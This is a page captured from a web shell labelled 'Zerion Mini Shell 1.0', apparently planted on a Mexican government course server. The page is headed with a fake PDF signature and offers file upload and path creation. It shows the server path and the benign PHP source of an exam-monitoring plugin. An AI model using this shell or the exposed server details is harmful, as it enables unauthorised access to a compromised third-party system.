%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/plugin/exercisemonitoring/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/plugin/exercisemonitoring/index.php

<?php

/* For licensing terms, see /license.txt */

$plugin = ExerciseMonitoringPlugin::create();
$em = Database::getManager();

$isEnabled = $plugin->isEnabled(true);
$showOverviewRegion = $isEnabled && strpos($_SERVER['SCRIPT_NAME'], '/main/exercise/overview.php') !== false;
$showSubmitRegion = $isEnabled && strpos($_SERVER['SCRIPT_NAME'], '/main/exercise/exercise_submit.php') !== false;

$_template['enabled'] = false;
$_template['show_overview_region'] = $showOverviewRegion;
$_template['show_submit_region'] = $showSubmitRegion;

if ($showOverviewRegion || $showSubmitRegion) {
    $exerciseId = (int) $_GET['exerciseId'];

    $objFieldValue = new ExtraFieldValue('exercise');
    $values = $objFieldValue->get_values_by_handler_and_field_variable(
        $exerciseId,
        ExerciseMonitoringPlugin::FIELD_SELECTED
    );

    $_template['enabled'] = $values && (bool) $values['value'];
    $_template['exercise_id'] = $exerciseId;
}

$_template['enable_snapshots'] = true;

$isAdult = $plugin->isAdult();

if ($showOverviewRegion && $_template['enabled']) {
    $_template['instructions'] = $plugin->get(ExerciseMonitoringPlugin::SETTING_INSTRUCTIONS);

    if ('true' === $plugin->get(ExerciseMonitoringPlugin::SETTING_INSTRUCTION_AGE_DISTINCTION_ENABLE)) {
        $_template['instructions'] = $plugin->get(ExerciseMonitoringPlugin::SETTING_INSTRUCTIONS_MINORS);

        if ($isAdult) {
            $_template['instructions'] = $plugin->get(ExerciseMonitoringPlugin::SETTING_INSTRUCTIONS_ADULTS);
        } else {
            $_template['enable_snapshots'] = false;
        }
    }

    $_template['instructions'] = Security::remove_XSS($_template['instructions']);
}

if ($showSubmitRegion && $_template['enabled']) {
    $exercise = new Exercise(api_get_course_int_id());

    if ($exercise->read($_template['exercise_id'])) {
        $_template['exercise_type'] = (int) $exercise->selectType();

        if ('true' === $plugin->get(ExerciseMonitoringPlugin::SETTING_INSTRUCTION_AGE_DISTINCTION_ENABLE)
            && !$isAdult
        ) {
            $_template['enable_snapshots'] = false;
        }
    }
}

Zerion Mini Shell 1.0